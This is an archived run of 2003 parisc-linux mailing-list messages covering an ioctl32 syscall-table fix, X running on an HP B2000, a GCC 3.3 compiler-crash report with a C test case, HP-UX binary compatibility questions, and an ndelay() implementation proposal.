X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ioctl32 cleanup -- rest of architectures
Date: Mon, 10 Mar 2003 19:56:10 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20030310195610.GJ5278__22822.1715231941$1416622270$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20030310172832.GG5278@parcelfarce.linux.theplanet.co.uk> <20030310185647.GA11310@atrey.karlin.mff.cuni.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622270 22705 80.91.229.3 (22 Nov 2014 02:11:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:10 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: Pavel Machek <pavel@ucw.cz>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 10 12:56:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33A12482E
	for <parisc-linux@parisc-linux.org>; Mon, 10 Mar 2003 12:56:11 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.12)
	id 18sTNa-0005WI-00; Mon, 10 Mar 2003 19:56:10 +0000
Content-Disposition: inline
In-Reply-To: <20030310185647.GA11310@atrey.karlin.mff.cuni.cz>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17885

On Mon, Mar 10, 2003 at 07:56:47PM +0100, Pavel Machek wrote:
> So I should take arch/parisc/kernel/syscall.S and change
> ENTRY_DIFF(ioctl) into ENTRY_COMP(ioctl)? Great, thanx.

Exactly.

> [BTW have you actually tested it or are these just first obvious
> mistakes?]

I haven't tested it... no convenient 64-bit box at present.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pavel Machek <pavel@ucw.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ioctl32 cleanup -- rest of architectures
Date: Tue, 11 Mar 2003 00:18:04 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20030310231804.GB8555__20484.5804641538$1416622270$gmane$org@atrey.karlin.mff.cuni.cz>
References: <20030310172832.GG5278@parcelfarce.linux.theplanet.co.uk> <20030310185647.GA11310@atrey.karlin.mff.cuni.cz> <20030310195610.GJ5278@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622270 22709 80.91.229.3 (22 Nov 2014 02:11:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:10 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 10 16:18:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atrey.karlin.mff.cuni.cz (atrey.karlin.mff.cuni.cz [195.113.31.123])
	by dsl2.external.hp.com (Postfix) with ESMTP id ADB9A482E
	for <parisc-linux@parisc-linux.org>; Mon, 10 Mar 2003 16:18:05 -0700 (MST)
Original-Received: by atrey.karlin.mff.cuni.cz (Postfix, from userid 512)
	id B0D024FC70; Tue, 11 Mar 2003 00:18:04 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20030310195610.GJ5278@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17886

Hi!

> > So I should take arch/parisc/kernel/syscall.S and change
> > ENTRY_DIFF(ioctl) into ENTRY_COMP(ioctl)? Great, thanx.
> 
> Exactly.

Thanx, applied, will do "silly name fix" when I get x86-64 back into
working state. [i2c support broke.]
								Pavel
-- 
Horseback riding is like software...
...vgf orggre jura vgf serr.


From - Thu Nov 08 21:27:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFree running on my B2000!
Date: Mon, 10 Mar 2003 21:51:11 -0800 (PST)
Lines: 21
Approved: news@gmane.org
Message-ID: <20030311055111.55188.qmail@web12508.mail.yahoo.com>
References: <20030301061712.GB5518@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-552218254-1047361871=:54200"
X-Trace: ger.gmane.org 1416622271 22710 80.91.229.3 (22 Nov 2014 02:11:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 10 22:51:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12508.mail.yahoo.com (web12508.mail.yahoo.com [216.136.173.200])
	by dsl2.external.hp.com (Postfix) with SMTP id 8BE34482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Mar 2003 22:51:12 -0700 (MST)
Original-Received: from [12.24.253.152] by web12508.mail.yahoo.com via HTTP; Mon, 10 Mar 2003 21:51:11 PST
In-Reply-To: <20030301061712.GB5518@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17887

--0-552218254-1047361871=:54200
Content-Type: text/plain; charset=us-ascii


Well after my earlier stupid mistakes, getting X (KDE in my case) to run on my B2000 is a small triumph for me.  Using the A4977A PCI EG graphics card it works even though that card is officially not supported in this machine.  Had to make a few tweeks to the XFConfig-4 file to get the USB mouse to work after the initial install, but even the scroll function works on it.  So overall I am very pleased.

derek



---------------------------------
Do you Yahoo!?
Yahoo! Web Hosting - establish your business online
--0-552218254-1047361871=:54200
Content-Type: text/html; charset=us-ascii

<P>Well after my earlier stupid mistakes, getting X (KDE in my case) to run on my B2000 is a small triumph for me.&nbsp; Using the A4977A PCI EG graphics card it works even though that card is officially not supported in this machine.&nbsp; Had to make a few tweeks to the XFConfig-4 file to get the USB mouse to work after the initial install, but even the scroll function works on it.&nbsp; So overall I am very pleased.</P>
<P>derek</P><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://webhosting.yahoo.com/ps/wh3/prod/">Yahoo! Web Hosting</a> - establish your business online
--0-552218254-1047361871=:54200--


From - Thu Nov 08 21:27:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tausq@debian.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [3.3 regression; hppa-linux] ICE when optimizing inline code at -O2
Date: Mon, 10 Mar 2003 23:37:10 -0800
Lines: 40
Approved: news@gmane.org
Message-ID: <20030311073710.GO11363__27075.4704055891$1416622271$gmane$org@tausq.org>
Reply-To: tausq@debian.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622271 22713 80.91.229.3 (22 Nov 2014 02:11:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: gcc-gnats@gcc.gnu.org, debian-gcc@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 11 00:41:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0E78482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Mar 2003 00:41:38 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C9FC3CD294; Mon, 10 Mar 2003 23:37:10 -0800 (PST)
Content-Disposition: inline
X-send-pr-version: 3.113
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17888

>Submitter-Id:	net
>Originator:	Randolph Chung
>Organization:	Debian
>Confidential:	no
>Synopsis:	[3.3 regression] inline optimization ICE 
>Severity:	serious
>Priority:	medium
>Category:	optimization
>Class:		ice-on-legal-code
>Release:	3.3 20030309 (Debian prerelease) (Debian testing/unstable)
>Environment:
System: Linux gsyprf11.external.hp.com 2.4.20-pa18-UP #1 Sat Jan 4 22:06:52 PST 2003 parisc64 unknown unknown GNU/Linux
Architecture: parisc64

	<machine, os, target, libraries (multiple lines)>
host: hppa-unknown-linux-gnu
build: hppa-unknown-linux-gnu
target: hppa-unknown-linux-gnu
configured with: ../src/configure -v --enable-languages=c,c++,f77,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-clocale=gnu --enable-debug --enable-objc-gc hppa-linux
>Description:
see below; code works with gcc-3.2.3	 
This is extracted from allegro. It is similar but not the same as 
optimization/9768
>How-To-Repeat:
gcc-3.3 -O2 -c bug.c
--------------------8< bug.c 8<-------------------
extern int * allegro_errno;
typedef long fixed;
extern inline int fixfloor (fixed x) { if (x >= 0) return (x >> 16); else return ~((~x) >> 16); }
extern inline int fixtoi (fixed x) { return fixfloor(x) + ((x & 0x8000) >> 15); }
extern inline fixed ftofix (double x) { if (x > 32767.0) { *allegro_errno = 34; return 0x7FFFFFFF; } if (x < -32767.0) { *allegro_errno = 34; return -0x7FFFFFFF; } return (long)(x * 65536.0 + (x < 0 ? -0.5 : 0.5)); }
extern inline double fixtof (fixed x) { return (double)x / 65536.0; }
extern inline fixed fixdiv (fixed x, fixed y) { if (y == 0) { *allegro_errno = 34; return (x < 0) ? -0x7FFFFFFF : 0x7FFFFFFF; } else return ftofix(fixtof(x) / fixtof(y)); }
extern inline fixed itofix (int x) { return x << 16; }

int foo(int n) { return fixtoi(fixdiv(itofix(512), itofix(n))); }
--------------------8< bug.c 8<-------------------
>Fix:
	unknown


From - Thu Nov 08 21:27:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Morten Sickel <Morten.Sickel@nrpa.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] newbie which HP-UX binaries
Date: Tue, 11 Mar 2003 13:10:28 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <54DE9A561AD20C4D9FF88B116965420E4E5EA9@postix.nrpa.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622271 22717 80.91.229.3 (22 Nov 2014 02:11:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:11 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 11 05:12:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from postix.nrpa.no (proxy.nrpa.no [193.217.14.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8FF8482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Mar 2003 05:12:12 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17889

I have an old HP712/80 box running 10.20 that I am thinking about running
linux on. The only problem is that I have to run an old (7.1) Esri arc/info
on the machine. I have seen in the faq that:

"We intend to support 4 binary formats: 
HP/UX SOM 32 bit
Linux ELF 32 bit
HP/UX ELF 64 bit
Linux ELF 64 bit
" 

But I have to admit that it does not help me too much, as:

[cesium:download]$ file /usr/local/arcexe71/bin/arc  
/usr/local/arcexe71/bin/arc:    PA-RISC1.1 shared executable dynamically
linked

is this the same as SOM 32 bit?

After digging around in the mailing list archives, it is also not clear to
me if I can read the existing disks on my WS. It would make the transistion
easier, or I could install linux on a spare disk, boot from that and test if
it works.

I also need to run the flexlm licence manager. Does anybody know if that
works, and if the ids that are used there still are valid under linux.

(yes, I know about grass, and I am in fact using it under i386 linux, but
for backward compatibility, I would prefer to still have arc/info around)

regards,
-- 
Morten Sickel
Norwegian Radiation Protection Authority
http://www.nrpa.no 


From - Thu Nov 08 21:27:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] newbie which HP-UX binaries
Date: Tue, 11 Mar 2003 13:25:55 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <20030311132555.GE21234@parcelfarce.linux.theplanet.co.uk>
References: <54DE9A561AD20C4D9FF88B116965420E4E5EA9@postix.nrpa.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622271 22719 80.91.229.3 (22 Nov 2014 02:11:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:11 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: Morten Sickel <Morten.Sickel@nrpa.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 11 06:25:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7FF4482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Mar 2003 06:25:57 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.12)
	id 18sjlT-00014N-00; Tue, 11 Mar 2003 13:25:55 +0000
Content-Disposition: inline
In-Reply-To: <54DE9A561AD20C4D9FF88B116965420E4E5EA9@postix.nrpa.no>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17890

On Tue, Mar 11, 2003 at 01:10:28PM +0100, Morten Sickel wrote:
> I have an old HP712/80 box running 10.20 that I am thinking about running
> linux on. The only problem is that I have to run an old (7.1) Esri arc/info
> on the machine. I have seen in the faq that:
> 
> "We intend to support 4 binary formats: 
> HP/UX SOM 32 bit
> Linux ELF 32 bit
> HP/UX ELF 64 bit
> Linux ELF 64 bit
> " 

Sorry about that.  grant linuxcared up the FAQ and i didn't notice.
i just fixed it and the new entry reads as follows:

	# What binaries will PA-RISC Linux support?

	We currently only support 32-bit ELF executables. Initial bringup
	work was accomplished using HP-UX emulation, but that emulation
	has not been maintained. Eventually, we hope to have support for
	HP-UX 32-bit SOM executables working again, and add support for
	64-bit ELF executables, both Linux & HP-UX.

	We're not promising to get all HP-UX binaries running on Linux. In
	particular those which are multithreaded are unlikely to ever
	be supported.

Does that answer all your questions?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] newbie which HP-UX binaries
Date: Tue, 11 Mar 2003 07:23:14 -0700 (MST)
Lines: 27
Approved: news@gmane.org
Message-ID: <200303111423.HAA18107@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622272 22722 80.91.229.3 (22 Nov 2014 02:11:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Morten.Sickel@nrpa.no
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 11 07:23:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A221482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Mar 2003 07:23:15 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 6BBDF1C00E5A; Tue, 11 Mar 2003 09:23:14 -0500 (EST)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_26305+JAGae58098)/8.9.3 SMKit7.01) id HAA18107;
	Tue, 11 Mar 2003 07:23:14 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17891

>         # What binaries will PA-RISC Linux support?
>
>         We currently only support 32-bit ELF executables. Initial bringup
>         work was accomplished using HP-UX emulation, but that emulation
>         has not been maintained. Eventually, we hope to have support for
>         HP-UX 32-bit SOM executables working again, and add support for
>         64-bit ELF executables, both Linux & HP-UX.
>
>         We're not promising to get all HP-UX binaries running on Linux. In
>         particular those which are multithreaded are unlikely to ever
>         be supported.
>
> Does that answer all your questions?
>

Actually that is not completely correct.  There was some more work done,
including support for HP-UX shared libraries and some additional system
call support.  But there are still some big holes, and as is mentioned
above, there are things we will never support.

But, the last time this was worked on (October 2001), Nathan Neulinger got
a HP-UX flexlm binary working under parisc-linux.  We may very well have
broken it since then. :-)

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:27:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ndelay() ?
Date: Tue, 11 Mar 2003 17:27:58 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <3E689FC400001167@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622272 22725 80.91.229.3 (22 Nov 2014 02:11:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 11 09:27:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id B15384830
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Mar 2003 09:27:59 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18smbe-0006d4-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Mar 2003 17:27:58 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 11 Mar 2003 17:27:58 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17892

Hi all,

In the new 2.4.21-pre5 we need a ndelay() function (ide support for b2k at
least).

Some sparc[64], ppc supply this ndelay as a modified udelay (parameter time
1000);
we could also do it for our parisc as follow:
(see include/asm-parisc/delay.h)
...
static __inline__ void __ndelay(unsigned long usecs) {
	__cr16_delay(usecs * ((unsigned long)boot_cpu_data.cpu_hz / 1000UL));
}

#define ndelay(n) __ndelay(n)
...

OTC 2.5 proposed another solution:

(see include/linux/delay.h)

#ifndef ndelay
#define ndelay(x)    udelay(((x)+999)/1000)
#endif

What is the best?

Thanks for advise,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ndelay() ?
Date: 11 Mar 2003 19:10:37 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <1047409836.19931.3.camel@irongate.swansea.linux.org.uk>
References: <3E689FC400001167@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622272 22729 80.91.229.3 (22 Nov 2014 02:11:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 11 11:03:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 394F24830
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Mar 2003 11:03:11 -0700 (MST)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.7/8.12.7) with ESMTP id h2BJAdYf019977;
	Tue, 11 Mar 2003 19:10:40 GMT
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.7/8.12.7/Submit) id h2BJAbfj019975;
	Tue, 11 Mar 2003 19:10:37 GMT
